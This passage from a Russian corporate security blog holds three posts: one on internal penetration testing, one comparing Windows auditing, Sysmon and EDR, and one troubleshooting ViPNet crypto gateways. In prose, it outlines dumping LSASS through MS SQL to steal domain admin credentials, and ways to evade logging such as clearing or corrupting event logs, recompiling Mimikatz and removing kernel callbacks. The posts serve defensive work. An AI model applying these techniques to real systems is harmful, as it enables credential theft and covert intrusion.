Блог компании ростелеком-солар

Протестируй меня полностью кому и зачем нужен внутренний пентест

21.07.2020 10:07:42 |

Автор: admin

Опаснее всего враг, о котором не подозреваешь.
(Фернандо Рохас)

ИТ-инфраструктуру современной компании можно сравнить со средневековым замком. Высокие стены, глубокий ров и стража у ворот защищают от внешнего врага, а за тем, что происходит внутри крепостных стен, практически никто не следит. Так же и многие компании: они прилагают колоссальные усилия для защиты внешнего периметра, а внутренняя инфраструктура при этом остается обделенной. Внутреннее тестирование на проникновение для большинства заказчиков пока процесс экзотический и не очень понятный. Поэтому мы решили рассказать о нем все (ну, почти все), что вы хотели знать, но боялись спросить.

Внешний враг (страшный хакер в черной толстовке с капюшоном) выглядит пугающе, но огромная часть утечек корпоративной информации происходит по вине инсайдеров. По статистике нашего центра мониторинга Solar JSOC, на внутренние инциденты приходится примерно 43% от общего количества угроз. Одни организации полагаются на средства защиты часто некорректно настроенные, которые можно легко обойти или отключить. Другие вообще не рассматривают инсайдера как угрозу и закрывают глаза на недостатки защиты внутренней инфраструктуры.

Проблемы, которые мы выявляем при анализе внутрянки, кочуют из компании в компанию:
слабые и неизменяемые пароли для сервисных и привилегированных учетных записей;
одинаковые пароли для обычной учетной записи администратора и привилегированной;
одна учетная запись локального администратора на всех рабочих станциях в сети;
ненадежное хранение паролей;
активные учетные записи уволенных сотрудников;
чрезмерные привилегии для сервисных и пользовательских учетных записей;
отсутствие сегментации сети.

Важно: в этом посте речь идет о Windows-сетях с использованием Active Directory.

Кто и что проверяет

Глобально тестирование на проникновение позволяет выявить, насколько потенциальный злоумышленник может навредить ИТ-инфраструктуре конкретной компании. Для этого специалисты по кибербезопасности, проводящие пентест, симулируют действия хакера с применением реальных техник и инструментов, но без вреда для заказчика. Результаты проверки помогают повысить уровень безопасности организации, сократив риски для бизнеса. У такого тестирования есть два направления: внешнее и внутреннее. В первом случае белый хакер должен найти уязвимости, с помощью которых можно проникнуть во внутреннюю сеть (то есть пробить ту самую крепостную стену).

Внутреннее же тестирование на проникновение проверяет, насколько инфраструктура уязвима перед инсайдером или нарушителем, у которого есть доступ в локальную сеть организации. Смогут ли они при желании контролировать ЛВС, беспрепятственно передвигаться по ней и влиять на работу отдельных серверов? Такие работы проводятся во внутренней сети, причем чаще с позиции сотрудника, обладающего минимальными привилегиями. При этом проверять можно (и нужно) даже тех работников, которые имеют только физический доступ к компьютерам (например, уборщики, электрики, охранники, курьеры и пр.).

Пентест не должен выявлять все существующие в компании уязвимости на всех хостах внутренней сети (это можно сделать с помощью сканера уязвимостей или корректной настройкой политик управления уязвимостями). У него совсем другая задача: найти один-два маршрута, по которым может пойти злоумышленник, чтобы успешно атаковать свою жертву. Выполнение работ фокусируется на настройках безопасности и особенностях Windows. Словом, здесь уже не будет производиться, например, сканирование открытых портов и поиск хостов с неустановленными обновлениями.

Как это происходит

Тестирование безопасности внутренней инфраструктуры проходит в несколько этапов:

Вот пример того, как в реальности проходил подобный внутренний пентест в рамках одного из наших проектов:
сначала мы выявили общие файловые ресурсы, на которых располагались веб-приложения;
в одном файле конфигурации обнаружили пароль пользователя SA (Super Admin) к базе данных MS SQL;
с помощью встроенной в MS SQL утилиты sqldumper.exe и процедуры xp_cmdshell получили дамп процесса LSASS, через подключение к СУБД:
из процесса извлекли пароль пользователя с привилегиями доменного администратора.

Так как внутреннее тестирование на проникновение рассматривает только внутреннюю (что очевидно) инфраструктуру организации, совершенно не важно, каким образом злоумышленник получил первоначальный доступ в сеть важно, как он воспользовался этим доступом. Поэтому в финальном отчете, составленном по итогам пентеста, описываются не обнаруженные уязвимости, а история того, как специалист продвигался по сети, с какими препятствиями и трудностями он столкнулся, как их обошел и каким образом выполнил поставленную задачу. Специалист может обнаружить несколько недостатков, но для достижения цели будет выбран один самый оптимальный или интересный. При этом все замеченные по дороге уязвимости также попадут в отчет. В результате заказчик получит рекомендации по исправлению недочетов и повышению уровня безопасности внутренней инфраструктуры.

По сути внутренний пентест продолжает внешний, отвечая на вопрос: Что произойдет после того, как киберпреступник попал в сеть?. Для сравнения в процессе тестирования на проникновение внешнего периметра обычно используется следующая методология:

Кто заходит в инфраструктуру

Итак, каким образом злоумышленник попал в сеть не важно, поэтому на начальном этапе планирования работ по внутреннему пентесту могут рассматриваться модели инсайдера или внешнего нарушителя.

1) Модель инсайдера. Инсайдер это мотивированный внутренний злоумышленник, у которого есть легитимный доступ к инфраструктуре организации, ограниченный только должностными обязанностями. Например, реальный сотрудник, который решил навредить своей компании. Также в роле инсайдеров могут выступать сотрудники вспомогательных служб (охранники, уборщики, электрики и др.), у них есть легитимный доступ в офис, но отсутствуют права доступа к инфраструктуре.

2) Модель внешнего нарушителя. Модель не фокусируется на том, каким образом был получен доступ (уязвимость в ПО периметра, утечка учетных данных, социальная инженерия или что-то другое) во внутреннюю сеть организации. За начальную точку принимается тот факт, что чужак уже внутри.

После составления модели угрозы моделируется и сама ситуация, при которой исполнитель получит доступ к инфраструктуре:
физический доступ с предоставлением рабочего места и учетных данных пользователя;
физический доступ с предоставлением доступа в сеть без учетных данных. Доступ в сеть может быть как проводной, так и беспроводной (Wi-Fi);
удаленный доступ к рабочему месту или сервису удаленных рабочих столов. Это самый распространенный вариант: в данном случае моделируется или инсайдер, или злоумышленник, получивший доступ через утечку учетных данных либо перебор паролей;
запуск вредоносного документа, эмуляция фишинговой атаки. Документ запускается с целью установки канала связи с командным центром (Command & Control), откуда будет проводиться пентест. Этот метод относительно новый для тестирования безопасности внутренней инфраструктуры, но наиболее реалистичный с точки зрения действий злоумышленника.

При этом пентест это не бесцельное блуждание по чужой инфраструктуре. У белого хакера всегда есть цель, поставленная заказчиком. Самым распространённым сценарием для внутреннего тестирования на проникновение является получение привилегий доменного администратора. Хотя в реальности злоумышленники редко стремятся получить такие привилегии, так как это может привлечь к ним ненужное внимание. Поэтому в большинстве случаев привилегии доменного администратора будут скорее не целью, а средством ее достижения. А целью может стать, например, захват корпоративной сети, получение доступа к рабочей станции и серверу или к приложению и базе данных.

Кому все это нужно

А стоит ли вообще заказчику пускать пентестеров в свою корпоративную сеть? Однозначно, стоит. Именно здесь находятся самые критичные данные и главные секреты компании. Чтобы защитить ЛВС, необходимо знать все ее закоулки и недостатки. И внутреннее тестирование на проникновение может в этом помочь. Оно позволяет увидеть слабые места в инфраструктуре или проверить настроенные контроли безопасности и улучшить их. Кроме того, внутренний пентест это более доступная альтернатива Red Team. Ну, если есть задача продемонстрировать руководству, что выделяемых средств недостаточно для обеспечения безопасности внутренней инфраструктуры, внутренний пентест позволяет подкрепить этот тезис фактами.

Автор: Дмитрий Неверов, эксперт по анализу защищенности, Ростелеком-Солар

Подробнее..

Категории: Информационная безопасность , Cybersecurity , Ит-инфраструктура , Блог компании ростелеком-солар , Пентест , Тестирование на проникновение

Зачем внедрять EDR, если есть SIEM, Sysmon и антивирус?

23.07.2020 10:06:27 |

Автор: admin

Без мониторинга конечных точек сегодня уже не получится в полной мере обеспечить безопасность и вовремя обнаруживать факты компрометации инфраструктуры. Джентельменский набор сетевой мониторинг, антивирус и стандартный аудит на конечных точках уже не позволяет противодействовать не только серьезным группировкам, но даже злоумышленникам с низким уровнем подготовки. Почему? Рассмотрим на конкретных примерах.

Кадр из мультфильма Жил-был пес

Итак, стандартных средств мониторинга становится недостаточно. Этому способствуют несколько факторов:

индикаторы компрометации (хеши, IP-адреса и доменные имена) часто бывают одноразовыми, так как их изменение не представляет труда для злоумышленника, особенно в случае с APT;

атакующие применяют в работе легитимные исполняемые файлы, штатные средства ОС и т. д.;

для перемещения по сети в большинстве случаев используются не эксплойты, а украденные легитимные учетные данные;

на практике часто встречается ВПО, которое не детектируется ни антивирусом, ни сетевыми сигнатурами;

с ростом инфраструктуры становится проблематично вовремя обновлять сигнатуры и лицензии.

Даже при успешном выявлении атаки у вас будет недостаточно информации, чтобы однозначно ответить на вопрос: исчерпан текущий инцидент или необходимы еще какие-либо меры. Ведь множество событий попросту не отслеживается: работа с реестром, создание файлов, загрузка модулей в память, командная строка созданного процесса и так далее.

Мониторинг конечных точек существенно расширяет возможности по выявлению и предотвращению атак: он позволяет перейти от детектирования хешей, IP и доменов к детектированию хостовых артефактов, инструментов и TTP (да-да, той самой пирамиды боли).

Несколько примеров техник, которые часто встречаются на практике и не детектируются без хостового мониторинга:

DLL Hijacking
Living off the land
Использование Mimikatz

Дополнительный мониторинг конечных точек можно организовать с помощью встроенных в ОС средств (расширенный аудит), бесплатных утилит (например, Sysmon) и коммерческих решений (продукты класса EDR). Рассмотрим, какие достоинства и недостатки имеют эти подходы на примерах детектирования различных вариаций упомянутых выше техник.

Расширенный аудит. Windows Event Logging

О встроенном аудите знают все. Как показывает практика, включив один лишь сбор событий создания процесса вместе с командной строкой, вы существенно облегчите процесс мониторинга и расследования инцидентов (закон Парето в действии).

При грамотной настройке мы закрываем некоторые пробелы стандартного подхода и видим:

факты запуска процессов вместе с командной строкой;

запускаемые PowerShell-скрипты в декодированном виде (Script block logging);

частично работу с файлами и реестром;

активность, связанную с учетными записями (создание/удаление пользователей и так далее).

У нас появляется возможность детектировать новые техники:

некоторые варианты DLL hijacking по созданию файлов с определенными путями;

использование LOLBin и Mimikatz по паттернам в командной строке.

При этом у злоумышленника все еще есть возможность избежать обнаружения. В случае с LOLBin это может быть копирование файла в другую папку под другим именем и обфусцирование командной строки. А Mimikatz можно перекомпилировать с измененными командами и строками, что не позволит обнаруживать его использование по командной строке. Также не будут видны варианты, когда на машину помещается легитимный бинарный файл, подверженный DLL hijacking.

Код Mimikatz с измененными строками

Настроить аудит Windows можно на любой системе без предустановки стороннего ПО, но есть и существенные недостатки:

1. Неудобная и плохо масштабируемая настройка.
Пример: чтобы поставить на мониторинг определенную ветку реестра, для нее нужно отдельно настроить ACL. Сам факт того, что нужно проводить какие-то действия, на практике выливается в проблемы и задержки по времени, особенно в случае крупных инфраструктур. Если это делается для расширения мониторинга (например, для детектирования какого-нибудь способа UAC Bypass), то время не играет критической роли. Но если такая необходимость возникает во время инцидента, это затрудняет процесс реагирования.

2. Отсутствие контроля.
Если события перестанут регистрироваться или поступать в используемые системы мониторинга, вовремя понять это, скорее всего, не получится, так как нет централизации.

3. Простота противодействия.
Даже злоумышленники с низкой квалификацией знают, как скрываться от стандартного аудита. Вопрос только в том, насколько эффективно и незаметно они это сделают.

Примеры техник:

Обычная очистка логов. Вероятность удачного восстановления событий зависит от того, сколько времени прошло с момента очистки.

Приостановка потоков службы аудита с последующим выполнением вредоносных действий или удалением событий (например, с помощью инструмента github.com/QAX-A-Team/EventCleaner).

Сокрытие событий с помощью нарушения структуры соответствующего файла .evtx (http://personeltest.ru/aways/github.com/fox-it/danderspritz-evtx).

Временное перенаправление событий в отдельный файл. О такой технике мы писали в предыдущей статье.

4. Сама по себе настройка аудита не даст возможности организовать мониторинг. Для начала придется наладить централизованный сбор событий, а потом использовать дополнительные инструменты, например, SIEM, для их анализа.

5. Низкая информативность событий. Отсутствует возможность получать хэш запускаемого процесса, отслеживать загрузку библиотек в память процессов и так далее.

Сходство Sysmon и EDR

Sysmon не является полноценным EDR-решением, так как в нем нет возможности выполнять активные действия на системе. Но механизм сбора событий точно такой же, как и в коммерческих EDR: работает он на двух технологиях обратных вызовах ядра и ETW. Подробно описывать их не будем рассмотрим только, как появляются события и кто инициатор их создания.

Обратные вызовы ядра. Например, PcreateProcessNotifyRoutine, PcreateThreadNotifyRoutine.
Где и как вызываются эти и другие обратные вызовы, можно увидеть в соответствующих функциях ядра. Пример вызова callbackов при создании процесса приведен ниже:

Цикл вызова callbackов в CreateProcessW -> NtCreateUserProcess -> PspInsertThread.
То есть вызывает эти callbackи поток родительского процесса, вызвавший CreateProcess.

Event Tracing Windows (ETW).
В части появления событий ETW работает похожим образом. Снова рассмотрим пример с созданием процесса. При вызове CreateProcessW поток родительского процесса выполняет следующие действия (упрощенная схема):

CreateProcessW (kernel32.dll)
NtCreateUserProcess (ntdll.dll, переход в режим ядра)
NtCreateUserProcess (ntoskrnl.exe, далее работа в режиме ядра)
PspInsertThread (здесь вызываются и callbackи)
EtwTraceProcess
EtwpPsProvTraceProcess
EtwWrite

Таким образом, поток родительского процесса является прямым инициатором создания события ETW. Примерно таким же образом работает запись остальных событий, например, сетевых. Ниже приведен пример создания событий, связанных с сетевой активностью:

Функция ядра EtwpNetProvTraceNetwork

Из всего вышесказанного следует два вывода:

1) И Sysmon, и EDR использует для сбора событий только встроенные возможности Windows, что обеспечивает надежность работы.

2) Злоумышленник может использовать методы сокрытия, которые будут применимы и к Sysmon, и к EDR. Обратные вызовы ядра можно снять в памяти ядра с помощью подписанного драйвера. А зная описанный механизм регистрации событий, можно понять, почему Sysmon и некоторые EDR не могут обнаружить определенные техники инжектирования в процесс (например, с помощью APC) или PPID spoofing.

Sysmon

Использование Sysmon позволяет расширить возможности стандартного аудита. События при этом записываются в отдельный журнал. Некоторые примеры информации, которой нет в аудите Windows, но есть в Sysmon:

более подробная информация о запускаемых исполняемых файлах (хеш, оригинальное имя, цифровая подпись и так далее);
загрузка драйверов и библиотек;
изменение статуса сервиса Sysmon;
создание потока в другом процессе;
доступ к процессу;
хеши файлов, создаваемых в альтернативных потоках данных;
создание пайпов.

Преимущества мониторинга описанных выше процессов очевидны (в публичном доступе есть множество правил и статей на тему детектирования различных техник). Плюс появляется возможность детектировать новые вариации известных техник:

1) копирование LOLBin под другим именем можно выявлять по соответствию полей OriginalFileName, Image и Hashes из события создания процесса;

2) можно детектировать загрузку неподписанных библиотек, что в некоторых случаях позволяет обнаружить DLL hijacking;

3) есть потенциальная возможность выявлять Mimikatz с помощью вышеупомянутых методов или по событию ProcessAccess к процессу lsass.exe.

Настройка аудита осуществляется с помощью конфигурационного файла, что в случае с созданием файлов и событиями реестра намного удобнее настройки ACL.

При этом нужно учитывать следующие моменты:

Необходимость дополнительных инструментов. Так как события пишутся в журнал, то, как и в случае с расширенным аудитом Windows, Sysmon нужно использовать в связке с другими инструментами, например, SIEM.

Плохое масштабирование и управляемость. В крупных инфраструктурах возникают проблемы с обновлением и учетом текущих версий конфигурационных файлов, так как Sysmon не предоставляет возможность централизованного управления. Для мониторинга корректной работы сервиса необходимы дополнительные инструменты.
Как и в случае с расширенным аудитом, отсутствие событий по тем или иным причинам не удастся вовремя обнаружить.

Внимание со стороны ИБ-сообщества. Так как утилита является бесплатной и общедоступной, сообщество уделяет ей большое внимание. В открытом доступе есть различные варианты конфигурационных файлов, множество правил для Sysmon и тематических статей. Такое внимание работает и в обратную сторону: известны слабые места утилиты, и опытный злоумышленник знает, как остаться незамеченным.

Про способы обхода некоторых возможностей Sysmon можно почитать здесь, здесь и здесь.

Endpoint Detection & Response

С ростом размера и критичности инфраструктуры недостатки Sysmon становятся существенными. Качественные EDR имеют несколько преимуществ (специфические для конкретных продуктов возможности описывать не будем):

1) Расширенный набор регистрируемых событий
Здесь все зависит от конкретного продукта. Например, встречается логирование всего интерактивного ввода в командную строку, что позволяет детектировать техники, которые не видно ни с аудитом Windows, ни с Sysmon.

Здесь стоит описать вариант использования Mimikatz, который мы наблюдали во время одного из расследований. Есть исполняемый файл, который содержит зашифрованный Mimikatz в ресурсах. При передаче в командной строке верного пароля и вектора инициализации Mimikatz расшифровывается удачно и принимает команды в интерактивной командной строке. При этом в событиях создания процесса не появляется никаких команд.

Логирование интерактивного ввода, в свою очередь, поможет детектировать такой случай, если Mimikatz не будет перекомпилирован (в нашем случае строки остались нетронутыми).

2) Централизованное управление и настройка
В большой инфраструктуре возможность централизованной проверки состояния и изменения настроек агента играет критическую роль. Без нее реагирование может затягиваться на часы, а то и на дни.

3) Самодостаточность
В большинстве случаев EDR это самостоятельный продукт со своим интерфейсом, который может использоваться не только в связке с другими инструментами, но и отдельно.

Может присутствовать возможность писать собственные правила детектирования. Так как набор доступных данных больше, чем у расширенного аудита или Sysmon, у аналитиков появляется больше возможностей для детектирования различных паттернов атак.

4) Возможность активного реагирования
Во время реагирования на инцидент необходимость выполнить какие-либо действия на множестве систем практически всегда становится проблемой.

EDR позволяет в удобной интерактивной форме выполнять множество действий:

работать с файлами и реестром
блокировать сетевые соединения
завершать процессы
сканировать yara-правилами
собирать артефакты для последующего анализа (например, образ памяти)
автоматизация всего вышеуказанного в той или иной степени
и многое другое.

Так как класс продуктов EDR изначально создавался для обеспечения хостового мониторинга и реагирования, недостатков у таких решений в этой области существенно меньше. Здесь все зависит от возможностей конкретного продукта. Не обходится и без слепых зон, например, отсутствует возможность углубленного анализа сетевой активности (проблема, которая успешно решается продуктами NTA/NDR).

Практика показывает, что наличие EDR в инфраструктуре существенно расширяет возможности по выявлению угроз, а также ускоряет реагирование и облегчает расследование инцидентов, позволяя более точно восстанавливать хронологию событий. Sysmon выступает в качестве полумеры, а в случае с одним только стандартным аудитом, который легко обойти, приходится довольствоваться менее информативными артефактами, в том числе необычными, о которых мы писали в предыдущей статье.

Автор: Аскер Джамирзе, старший инженер технического расследования отдела расследования инцидентов JSOC CERT

Подробнее..

Категории: Информационная безопасность , Sysmon , Блог компании ростелеком-солар , Мониторинг сети , Edr , Антивирус , Впо

ViPNet в деталях разбираемся с особенностями криптошлюза

13.08.2020 10:12:29 |

Автор: admin

Жизнь сетевого инженера была счастливой и беззаботной, пока в ней не появился сертифицированный криптошлюз. Согласитесь, разбираться с решениями, предназначенными для шифрования каналов передачи данных по ГОСТу, задача не из легких. Хорошо, если это известные и понятные продукты. Вспомним ту же С-Терра (об их С-Терра Шлюз мы уже писали). Но что делать с более экзотичными решениями на базе собственных протоколов шифрования, например, Континент (от Кода Безопасности) или ViPNet Coordinator HW (от Инфотекса)? В этой статье я постараюсь облегчить погружение в мир ViPNet (про Континент тоже когда-нибудь поговорим) и рассказать, с какими проблемами столкнулся сам и как их решал.

Сразу оговорюсь, что мы поговорим о сертифицированной на сегодня ФСБ и ФСТЭК версии 4.2.1. В актуальных версиях 4.3.х появилось много интересного, например, DGD и измененный механизм кластеризации, обеспечивающий практически бесшовное переключение, но пока это будущее. Я не буду глубоко погружаться в недра конфигурационных команд и файлов, акцентировав внимание на ключевых командах и переменных, а подробное описание по этим ключам можно будет найти в документации.

Для начала разберемся, как это все работает. Итак, координатор ViPNet выполняет несколько функций. Во-первых, это криптошлюз (КШ), который позволяет реализовать как Site-to-site, так и RA VPN. Во-вторых, он является сервером-маршрутизатором конвертов, содержащих зашифрованные служебные данные (справочники и ключи) или данные клиентских приложений (файловый обмен, деловая почта). Кстати, именно в справочниках хранятся файлы, содержащие информацию об объектах сети ViPNet, в том числе об их именах, идентификаторах, адресах, связях. Координатор также является источником служебной информации для своих клиентов.

Помимо этого, он может туннелировать трафик от компьютеров сети, где не установлено ПО ViPNet. Кстати, специалисты, работающие с этим решением, часто называют открытые хосты не туннелируемыми узлами, а просто туннелями. Это может сбить с толку инженеров, которые привыкли к другим VPN-решениям, где под туннелем подразумевают PtP-соединение между КШ.

В качестве протокола шифрования в ViPNet используется IPlir, также разработанный Инфотексом. Для инкапсуляции трафика применяются транспортные протоколы IP/241 (если трафик не покидает широковещательный домен), UDP/55777 и TCP/80 (при недоступности UDP).

В концепции построения защищенных соединений лежат так называемые связи, которые бывают двух типов. Первые (на уровне узлов) нужны для построения защищенного соединения между узлами, вторые (на уровне пользователей) необходимы для работы клиентских приложений. Но есть исключение: узлы администратора сети ViPNet требуют обоих типов связи.

Что же может в этой схеме пойти не так? Как показывает практика, особенностей работы действительно много, и далеко не все проблемы можно решить интуитивно, без помощи зала, а что-то нужно просто принять как данность.

Координатор недоступен

У нас недоступен координатор/клиент/туннель. Что делать? самый частый вопрос, с которым приходят новички при настройке ViPNet. Единственно верное действие в такой ситуации включать регистрацию всего трафика на координаторах и смотреть в журнал IP-пакетов, который является важнейшим инструментом траблшутинга всевозможных сетевых проблем. Этот способ спасает в 80% случаев. Работа с журналом IP-пакетов также помогает лучше усвоить механизмы работы узлов ViPNet-сети.

Конверт не доставлен

Но журнал IP-пакетов, увы, бесполезен, когда речь заходит о конвертах. Они доставляются с помощью транспортного модуля (mftp), у которого есть свой журнал и своя очередь. Конверты по умолчанию передаются на свой координатор клиента (то есть тот, на котором зарегистрирован узел), и далее по межсерверным каналам, которые настроены между координаторами (то есть не напрямую по защищенному каналу). Значит, если вы захотите отправить письмо по деловой почте, то клиент упакует его в конверт и отправит сначала на свой координатор. Далее на пути могут быть еще несколько координаторов, и только после этого конверт попадет на узел адресата.

Из этого следуют два вывода. Во-первых, между клиентами не обязательно должна проверяться связь (по нажатию на F5 и соответствующей иконки в меню) для доставки конвертов. Во-вторых, если связь межу ними все-таки проверяется, это не гарантирует доставку, так как проблема может быть в одном из межсерверных каналов.

Диагностировать прохождение конвертов межсерверным каналам или между клиентом и координатором в неочевидных случаях можно с помощью журнала и очереди конвертов, а также логов на координаторе. Также транспортный модуль ViPNet-клиента можно настроить на прямую доставку конвертов, доставку через общую папку или SMTP/POP3 (но это совсем экзотичный вариант). Погружаться в эти настройки мы не будем.

Последствия перепрошивки

Проблемной может оказаться перепрошивка на актуальную версию старых железок, которые долго лежали, например, в качестве ЗИП. В процессе может появиться ошибка unsupported hardware, которая сообщает либо о том, что у вас действительно неподдерживаемая аппаратная платформа устаревшей линейки G1 (это HW100 E1/E2 и HW1000 Q1), либо о проблемах в настройке BIOS или в некорректной информации, зашитой в DMI. Править ли самостоятельно DMI, каждый решает для себя сам, поскольку есть риск превратить оборудование в бесполезный кирпич. С BIOS чуть проще: неверные настройки системы заключаются в выключенной функции HT (Hyper Threading) или выключенном режиме ACHI (Advanced Host Controller Interface) для HDD. Чтобы не гадать, в чем конкретно проблема, можно обратиться к флешке, с которой производится прошивка. На ней создаются файлы с диагностической информацией, в частности, в файле verbose.txt перечислены все поддерживаемые платформы с результатом сверки с вашей. Например, ошибка cpu::Vendor(#3)=='GenuineIntel' 24 times => [Failed], скорее всего, сообщает о выключенном HT. Кстати, перепрошивку часто путают с обновлением, но это разные процессы. При обновлении сохраняются все настройки, а параметры, о которых было написано выше, не проверяются. А при перепрошивке вы возвращаетесь к заводским параметрам.

Неинформативные конфиги

Основным конфигурационным файлом HW является iplir.conf, однако он не всегда отражает текущие параметры. Дело в том, что в момент загрузки драйвера IPlir происходит интерпретация этого конфига в соответствии с заложенной логикой, и не вся информация может быть загружена в драйвер (например, при наличии конфликтов IP-адресов). Инженеры, работавшие с программным координатором для Linux, наверняка знают о существовании команды iplirdiag, которая отображает текущие настройки узлов, прогруженные в драйвер. В HW эта команда также присутствует в режиме admin escape.

Самые популярные выводы это:
iplirdiag -s ipsettings --node-info <идентификатор узла> ##отображение информации об узле
iplirdiag -s ipsettings --v-tun-table ##отображение всех загруженных в драйвер туннелей

Немного остановимся на режиме admin escape. По сути это выход из ViPNet shell в bash. Тут я солидарен с вендором, который рекомендует использовать данный режим только для диагностики и вносить какие-либо модификации только под присмотром техподдержки вендора. Это вам не обычный Debian, здесь любое неосторожное движение может вывести из строя ОС, защитные механизмы которой воспримут вашу самодеятельность как потенциальную угрозу. В связке с заблокированным по умолчанию BIOS это обрекает вас на негарантийный (читай дорогой) ремонт.

(Un)split tunneling

Еще один факт, который знают далеко не все: по умолчанию ViPNet-клиент работает в режиме split tunnel (когда можно указать, какой трафик заворачивать в туннель, а какой нет). У ViPNet существует технология Открытого Интернета (позже переименована в Защищенный интернет-шлюз). Многие ошибочно приписывают этот функционал координатору, а не клиенту. На клиенте, который зарегистрирован за координатором с такой функцией, создается два набора предустановленных фильтров. Первый разрешает взаимодействие только с самим координатором и его туннелями, второй с остальными объектами, но запрещает доступ к координатору ОИ и его туннелям. Причем, согласно концепции вендора, в первом случае координатор должен либо туннелировать прокси-сервер, либо сам являться прокси-сервером. Служебный трафик, а также прием и передача конвертов (как служебных, так и приложений), работают в любой конфигурации.

Служебные порты и TCP-туннель

Однажды я столкнулся с приложением, которое ни в какую не хотело работать через координатор. Так я узнал, что у координатора есть служебные порты, по которым незашифрованный трафик блокируется без возможности какой-либо настройки. К ним относятся UDP/2046,2048,2050 (базовые службы ViPNet), TCP/2047,5100,10092 (для работы ViPNet Statewatcher) и TCP/5000-5003 (MFTP). Тут подвела функции TCP-туннеля. Не секрет, что провайдеры любят фильтровать высокие порты UDP, поэтому администраторы, стремясь улучшить доступность своих КШ, включают функцию TCP-туннеля. Ресурсы в зоне DMZ (по порту TCP-туннеля) при этом становятся недоступны. Это происходит из-за того, что порт TCP-туннеля также становится служебным, и никакие правила межсетевых экранов и NAT (Network Address Translation) на него уже не действуют. Затрудняет диагностику тот факт, что данный трафик не регистрируется в журнале IP-пакетов, как будто его вовсе нет.

Замена координатора

Рано или поздно встает вопрос о замене координатора на более производительный или временный вариант. Например, замена HW1000 на HW2000 или программного координатора на ПАК и наоборот. Сложность заключается в том, что у каждого исполнения своя роль в ЦУС (Центре управления сетью). Как правильно изменить роль, не потеряв связность? Сначала в ЦУС меняем роль на новую, формируем справочники, но не отправляем(!) их. Затем в УКЦ выпускаем новый DST-файл и проводим инициализацию нового Координатора. После производим замену и, убедившись, что все взаимодействия работоспособны, отправляем справочники.

Кластеризация и сбой ноды

Горячий резерв это must have для любой крупной площадки, поэтому на них всегда закупался кластер старших моделей (HW1000, HW2000, HW5000). Однако создание кластера из более компактных криптошлюзов (HW50 и HW100) было невозможно из-за лицензионной политики вендора. В итоге владельцам небольших площадок приходилось серьезно переплачивать и покупать HW1000 (ну, или никакой отказоустойчивости). В этом году вендор, наконец, сделал дополнительные лицензии и для младших моделей координаторов. Так что с выходом версий 4.2.x появилась возможность собирать в кластер и их.

При первичной настройке кластера можно серьезно сэкономить время, не настраивая интерфейсы в режиме мастера или командами CLI. Можно сразу вписывать необходимые адреса в конфигурационный файл кластера (failover config edit), только не забудьте указать маски. При запуске демона failover в кластерном режиме он сам назначит адреса на соответствующие интерфейсы. Многие при этом боятся останавливать демон, предполагая, что адреса сменяются на пассивные или адреса сингл-режима. Не волнуйтесь: на интерфейсах останутся те адреса, которые были на момент остановки демона.

В кластерном исполнении существует две распространенные проблемы: циклическая перезагрузка пассивной ноды и ее непереключение в активный режим. Для того чтобы понять суть этих явлений, разберемся в механизме работы кластера. Итак, активная нода считает пакеты на интерфейсе и в случае, если за отведенное время пакетов нет, отправляет пинг на testip. Если пинг проходит, то счетчик запускается заново, если не проходит, то регистрируется отказ интерфейса и активная нода уходит в перезагрузку. Пассивная нода при этом отправляет регулярные ARP-запросы на всех интерфейсах, описанных в failover.ini (конфигурационный файл кластера, где указаны адреса, которые принимает активная и пассивная ноды). Если ARP-запись хоть одного адреса пропадает, то пассивная нода переключается в активный режим.

Вернемся к кластерным проблемам. Начну с простого неперключение в активный режим. В случае если активная нода отсутствует, но на пассивной в ARP-таблице (inet show mac-address-table) ее mac-адрес все еще присутствует, необходимо идти к администраторам коммутаторов (либо так настроен ARP-кэш, либо это какой-то сбой). С циклической перезагрузкой пассивной ноды немного сложнее. Происходит это из-за того, что пассивная не видит ARP-записи активной, переходит в активный режим и (внимание!) по HB-линку опрашивает соседа. Но сосед-то у нас в активном режиме и аптайм у него больше. В этот момент пассивная нода понимает, что что-то не так, раз возник конфликт состояний, и уходит в перезагрузку. Так продолжается до бесконечности. В случае возникновения данной проблемы необходимо проверить настройки IP-адресов в failover.ini и коммутацию. Если все настройки на координаторе верны, то пришло время подключить к вопросу сетевых инженеров.

Пересечения адресов

В нашей практике нередко встречается пересечение туннелируемых адресов за разными координаторами.

Именно для таких случаев в продуктах ViPNet существует виртуализация адресов. Виртуализация это своеобразный NAT без контроля состояния соединения один к одному или диапазон в диапазон. По умолчанию на координаторах эта функция выключена, хотя потенциальные виртуальные адреса вы можете найти в iplir.conf в строке tunnel после to в секциях соседних координаторов. Для того, чтобы включить виртуализацию глобально для всего списка, необходимо в секции [visibility] изменить параметр tunneldefault на virtual. Если же хотите включить для конкретного соседа, то необходимо в его секцию [id] добавить параметр tunnelvisibility=virtual. Также стоит убедиться, что параметр tunnel_local_networks находится в значении on. Для редактирования виртуальных адресов параметр tunnel_virt_assignment необходимо перевести в режим manual. На противоположной стороне нужно выполнить аналогичные действия. За настройки туннелей также отвечают параметры usetunnel и exclude_from_tunnels. Результат выполненной работы можно проверить с помощью утилиты iplirdiag, о которой я говорил выше.

Конечно, виртуальные адреса приносят некоторые неудобства, поэтому администраторы инфраструктуры предпочитают минимизировать их использование. Например, при подключении организаций к информационным системам (ИС) некоторых госорганов этим организациям выдается DST-файл c фиксированным диапазоном туннелей из адресного плана ИС. Как мы видим, пожелания подключающегося при этом не учитываются. Как вписываться в этот пул, каждый решает для себя сам. Кто-то мигрирует рабочие станции на новую адресацию, а кто-то использует SNAT на пути от хостов к координатору. Не секрет, что некоторые администраторы применяют SNAT для обхода лицензионных ограничений младших платформ. Не беремся оценивать этичность такого лайфхака, однако не стоит забывать, что производительность самих платформ все-таки имеет предел, и при перегрузке начнется деградация качества канала связи.

Невозможность работы GRE

Само собой, у каждого решения в IT есть свои ограничения по поддерживаемым сценариям использования, и ViPNet Coordinator не исключение. Достаточно назойливой проблемой является невозможность работы GRE (и протоколов, которые его используют) от нескольких источников к одному адресу назначения через SNAT. Возьмем, к примеру, систему банк-клиент, которая поднимает PPTP-туннель к публичному адресу банка. Проблема в том, что протокол GRE не использует порты, поэтому после прохождения трафика через NAT, socketpair такого трафика становится одинаковым (адрес назначения у нас одинаковый, протокол тоже, а трансляцию адреса источника мы только что произвели также в один адрес). Координатор реагирует на такое блокировкой трафика на фоне ошибки 104 Connection already exists. Выглядит это так:

Поэтому, если вы используете множественные GRE-подключения, необходимо избегать применения NAT к этим подключениям. В крайнем случае выполнять трансляцию 1:1 (правда, при использовании публичных адресов это достаточно непрактичное решение).

Не забываем про время

